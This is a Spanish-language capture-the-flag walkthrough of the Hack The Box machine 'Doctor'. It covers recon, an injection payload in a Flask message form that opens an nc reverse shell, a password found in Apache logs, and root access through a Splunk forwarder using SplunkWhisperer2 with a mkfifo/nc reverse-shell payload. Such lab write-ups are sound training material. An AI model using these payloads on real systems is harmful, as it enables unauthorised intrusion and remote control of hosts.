Resumen:
Hacemos el primer reconocimiento en el puerto 80 http
donde nos encontraremos con un posible nombre de dominio doctors.htb
.
Una vez agregado al file /etc/hosts/
La pagina nos mostrara un sistema de posts-mensajeria el cual es vulnerable a ataques de tipo server-side-template-injection (SSTI)
. Si proporcionamos un link en el contenido del mensaje, la maquina accederá al mismo a través de curl, con lo cual podemos craftear un payload y con esto seremos capaces de obtener la primera reverse shell.
Aún debemos escalar de usuario, y solo bastara con ejecutar un linepeash.sh
y encontraremos el pass de shaun en los logs de apache.
Como ultimo paso nos quedaria la escalacion de privilegios hacia root, donde nos aprovecharemos de la vulnerabilidad del splunkforwarder
que esta corriendo en el puerto 8089
con el exploit SplunkWhisperer2 para finalmente obtener el root.txt
.
Pwned
Reconocimiento
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-09 18:06 EST
Nmap scan report for doctors.htb (10.10.10.209)
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-server-header:
| Apache/2.4.41 (Ubuntu)
|_ Werkzeug/1.0.1 Python/3.8.2
| http-title: Doctor Secure Messaging - Login
|_Requested resource was http://doctors.htb/login?next=%2F
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.53 seconds
Como podemos ver hay un correo con un posible nombre de dominio doctors.htb
Nombre de Dominio
Lo agregamos en nuestro archivo hosts
para poder acceder.
1
nano /etc/hosts
1
2
3
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.209 doctors.htb
SSTI
Una vez en doctors.htb nos encontramos con un sistema de posts/mensajeria donde tendremos que registrarnos
y logearnos
. Creamos un nuevo mensaje New Message
La web esta usando flask
la cual puede ser vulnerable a server-side-template-injection SSTI Payloads.
Capturamos el request con Burp Suite e Inyectamos con el siguiente payload: title=curl+http%3A%2F%2Fip%2F%24%28nc.traditional%24IFS%252710.10.15.31%2527%24IFS%25274949%2527%24IFS-e%24IFS%2Fbin%2Fsh%29&content=curl http://ip/$(nc.traditional$IFS%2710.10.14.230%27$IFS%274949%27$IFS-e$IFS/bin/sh)dbody&submit=Post
Una vez dentro, podemos usar nuestra llave pública para logearnos con ssh
.
1
2
3
web@doctor:~/.ssh$ ls
ls
authorized_keys
Privesc Shaun
Subimos el linpeash para enumerar
1
2
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [09/Nov/2020 18:48:11] "GET /linpeash.sh HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
web@doctor:~$ wget 10.10.15.31/linpeash.sh
--2020-11-10 00:48:10-- http://10.10.15.31/linpeash.sh
Connecting to 10.10.15.31:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 294784 (288K) [text/x-sh]
Saving to: ‘linpeash.sh’
linpeash.sh 100%[==========================================================================================>] 287,88K 208KB/s in 1,4s
2020-11-10 00:48:12 (208 KB/s) - ‘linpeash.sh’ saved [294784/294784]
1
web@doctor:~$ chmod +x linpeash.sh
En los logs del apache nos encontramos con el password del usuario shaun ` Guitar123` .
1
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
1
2
web@doctor:~$ su shaun
Password: Guitar123
1
2
shaun@doctor:~$ cat user.txt
5eb4d98c4564ab31f0a9e00c8899d522
Privesc Root
Luego de enumerar un poco podemos darnos cuenta que se esta ejecutando el splunkforwarder
, en este caso, si esta mal configurado podemos escalar privilegios bajo el usuario el cual esta corriendo el forwarder. Exploit Splunk Forwarder Explicación
1
2
shaun@doctor:/opt$ ls
splunkforwarder
1
tcp 0 0 0.0.0.0:8089 0.0.0.0:* LISTEN - off (0.00/0/0)
Exploiting Splunk Forwarder
Ahora que tenemos información de como podemos explotar el splunk forwarder, nos queda descargarnos la herramienta. SplunkWhisperer2
Abrimos 2 Shells En la primera:
1
kali@kali: python PySplunkWhisperer2_remote.py --lhost 10.10.15.31 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/deed;mkfifo /tmp/deed;cat /tmp/deed|/bin/sh -i 2>&1|nc 10.10.15.31 3748 >/tmp/deed"'
En la Segunda nos ponemos a la escucha:
1
2
3
4
nc -lvnp 3748
listening on [any] 3748 ...
connect to [10.10.15.31] from (UNKNOWN) [10.10.10.209] 54452
/bin/sh: 0: can't access tty; job control turned off